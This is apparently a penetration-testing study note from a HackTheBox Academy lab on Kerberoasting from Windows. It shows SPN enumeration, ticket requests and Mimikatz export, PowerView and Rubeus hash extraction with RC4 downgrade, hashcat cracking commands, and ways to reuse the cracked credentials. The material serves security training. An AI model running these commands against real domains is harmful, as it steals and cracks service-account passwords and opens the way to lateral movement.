Before tools like Rubeus was out, Kerberoasting was very complicated.
Now we can perform Kerberoasting from Windows in many ways.
Let’s learn about both manual way and automated tooling way.
Manual Way
setspn.exe
setspn is a buit-in binary to enumerate SPNs in the domain.
C:\htb> setspn.exe -Q */*
Checking domain DC=INLANEFREIGHT,DC=LOCAL
CN=ACADEMY-EA-DC01,OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCAL
exchangeAB/ACADEMY-EA-DC01
exchangeAB/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
TERMSRV/ACADEMY-EA-DC01
TERMSRV/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
ldap/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/ForestDnsZones.INLANEFREIGHT.LOCAL
ldap/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DomainDnsZones.INLANEFREIGHT.LOCAL
<SNIP>
CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
backupjob/veam001.inlanefreight.local
CN=SOLARWINDSMONITOR,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
sts/inlanefreight.local
<SNIP>
CN=sqlprod,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MSSQLSvc/SPSJDB.inlanefreight.local:1433
CN=sqlqa,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351
CN=sqldev,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
CN=adfs,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
adfsconnect/azure01.inlanefreight.local
Existing SPN found!
We can see that SPNs being returned from hosts in the domain.
We will focus on user accounts and ignore the computer accounts.
Obtain TGS from specific user
Now that we have list of SPNs, we can use PowerShell to request TGS tickets for an account and load them into memory.
Once they are loaded, we can extract them using mimikatz.
Let’s request TGS for MSSQLSvc user:
PS C:\htb> Add-Type -AssemblyName System.IdentityModel
PS C:\htb> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
Id : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-2
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom : 2/24/2022 11:36:22 PM
ValidTo : 2/25/2022 8:55:25 AM
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
Obtain TGS from all users
We can also decide to retrieve all tickets using the same method as above.
This is also get ticket for computer accounts too, so it is not optimal.
PS C:\htb> setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
Id : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-3
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom : 2/24/2022 11:56:18 PM
ValidTo : 2/25/2022 8:55:25 AM
ServicePrincipalName : exchangeAB/ACADEMY-EA-DC01
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
Id : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-4
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom : 2/24/2022 11:56:18 PM
ValidTo : 2/24/2022 11:58:18 PM
ServicePrincipalName : kadmin/changepw
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
Id : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-5
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom : 2/24/2022 11:56:18 PM
ValidTo : 2/25/2022 8:55:25 AM
ServicePrincipalName : WSMAN/ACADEMY-EA-MS01
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
<SNIP>
Extract Tickets w Mimikatz
Now that the tickets has been loaded to the memory, let’s extract them using Mimikatz.
Using 'mimikatz.log' for logfile : OK
mimikatz # base64 /out:true
isBase64InterceptInput is false
isBase64InterceptOutput is true
mimikatz # kerberos::list /export
<SNIP>
[00000002] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 2/24/2022 3:36:22 PM ; 2/25/2022 12:55:25 AM ; 3/3/2022 2:55:25 PM
Server Name : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 @ INLANEFREIGHT.LOCAL
Client Name : htb-student @ INLANEFREIGHT.LOCAL
Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ;
====================
Base64 of file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi
====================
doIGPzCCBjug<SNIP>QzMw==
====================
* Saved to file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi
<SNIP>
We used base64 /out:true
so it is easier for us to transfer the output.
If not specified, tickets will be extracted in a format of .kirbi
file.
Crack it
If we have the base64 encoded ticket, let’s format it to remove empty lines:
jadu101@htb[/htb]$ echo "<base64 blob>" | tr -d \\n
Now copy the formatted output and save it to a separate file and convert it back to .kirbi
file:
jadu101@htb[/htb]$ cat encoded_file | base64 -d > sqldev.kirbi
Now let’s use kirbi2john.py to extract the kerberos ticket:
jadu101@htb[/htb]$ python2.7 kirbi2john.py sqldev.kirbi
Above will create crack_file
.
Let’s format it once again to use it with hashcat:
jadu101@htb[/htb]$ sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
Finally, let’s crack the ticket using hashcat:
jadu101@htb[/htb]$ hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt
Automated Way
Above we learned about older-manual way of kerberoasting on Windows.
Now let’s learn about quicker way to perform Kerberoasting from Windows.
PowerView
SPN Get
Let’s first get the SPNs using PowerView:
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainUser * -spn | select samaccountname
samaccountname
--------------
adfs
backupagent
krbtgt
sqldev
sqlprod
sqlqa
solarwindsmonitor
Target Specific User
Now that we have list of SPNs, let’s use PowerView to target a specific user and retrieve the TGS ticket in hashcat format:
PS C:\htb> Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
SamAccountName : sqldev
DistinguishedName : CN=sqldev,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
TicketByteHexStream :
Hash : $krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433*$BF9729001
376B63C5CAC933493C58CE7$4029DBBA2566AB4748EDB609CA47A6E7F6E0C10AF50B02D10A6F92349DDE3336018DE177
AB4FF3CE724FB0809CDA9E30703EDDE93706891BCF094FE64387B8A32771C7653D5CFB7A70DE0E45FF7ED6014B5F769F
Get All Tickets
We can also decide to export all tickets and save it to a CSV file:
PS C:\htb> Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation
Rubeus
PS C:\htb> .\Rubeus.exe
<SNIP>
Roasting:
Perform Kerberoasting:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Perform Kerberoasting, outputting hashes to a file:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]
Perform Kerberoasting, outputting hashes in the file output format, but to the console:
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Perform Kerberoasting with alternate credentials:
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Perform Kerberoasting with an existing TGT:
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
Perform Kerberoasting with an existing TGT using an enterprise principal:
Rubeus.exe kerberoast </spn:user@domain.com | /spns:user1@domain.com,user2@domain.com> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail:
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]
Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:
Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:
Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
List statistics about found Kerberoastable accounts without actually sending ticket requests:
Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter):
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
Perform AES Kerberoasting:
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
Let’s first use Rubeus to gather some stats.
We can see that there are nine kerberoastable users, seven of which support RC4 Encryption for ticket requests and two of which support AES 128/256.
PS C:\htb> .\Rubeus.exe kerberoast /stats
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Kerberoasting
[*] Listing statistics about target users, no ticket requests being performed.
[*] Target Domain : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 9
------------------------------------------------------------
| Supported Encryption Type | Count |
------------------------------------------------------------
| RC4_HMAC_DEFAULT | 7 |
| AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 2 |
------------------------------------------------------------
----------------------------------
| Password Last Set Year | Count |
----------------------------------
| 2022 | 9 |
----------------------------------
Now let’s request tickets for accounts with admincount
attribute set as 1
.
nowrap
will help for easy copy.
PS C:\htb> .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target Domain : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))(admincount=1))'
[*] Total kerberoastable users : 3
[*] SamAccountName : backupagent
[*] DistinguishedName : CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] ServicePrincipalName : backupjob/veam001.inlanefreight.local
[*] PwdLastSet : 2/15/2022 2:15:40 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*backupagent$INLANEFREIGHT.LOCAL$backupjob/veam001.inlanefreight.local@INLANEFREIGHT.LOCAL*$750F377DEFA85A67EA0FE51B0B28F83D$049EE7BF77ABC968169E1DD9E31B8249F509080C1AE6C8575B7E5A71995F345CB583FECC68050445FDBB9BAAA83AC7D553EECC57<SNIP>
We can target specific user as such:
PS C:\htb> .\Rubeus.exe kerberoast /user:testspn /nowrap
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target User : testspn
[*] Target Domain : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=testspn)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 1
[*] SamAccountName : testspn
[*] DistinguishedName : CN=testspn,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] ServicePrincipalName : testspn/kerberoast.inlanefreight.local
[*] PwdLastSet : 2/27/2022 12:15:43 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*testspn$INLANEFREIGHT.LOCAL$testspn/kerberoast.inlanefreight.local@INLANEFREIGHT.LOCAL*$CEA71B221FC2C00F8886261660536CC1$4A8E252D305475EB9410FF3E1E99517F90E27FB588173ACE3651DEACCDEC62165DE6EA1E6337F3640632FA42419A535B501ED1D4D1A0B704AA2C56880D74C294017<SNIP>
Hashcat
To crack RC4:
jadu101@htb[/htb]$ hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt
To crack AES256:
jadu101@htb[/htb]$ hashcat -m 19700 aes_to_crack /usr/share/wordlists/rockyou.txt
Encryption Types
Kerberoasting tools typically requests RC4 encryption when TGS-REQ request because it is easier to crack compared to AES128 and AES-256.
$krb5tgs$23$*
- RC4
$krb5tgs$18$*
- AES-256
Specify RC4
If we only want to request tickets for RC4 (type 23), we can use /tgtdeleg
flag:
.\Rubeus.exe kerberoast /tgtdeleg /user:testspn /nowrap
However, starting from Windows server 2019, AES is automatically required for Kerberoasting.
Moving On
Now we have obtained new credentials through Kerberoasting. Where do we use these credentials?
- RDP, WinRM
- PsExec
- FileShare
- MSSQL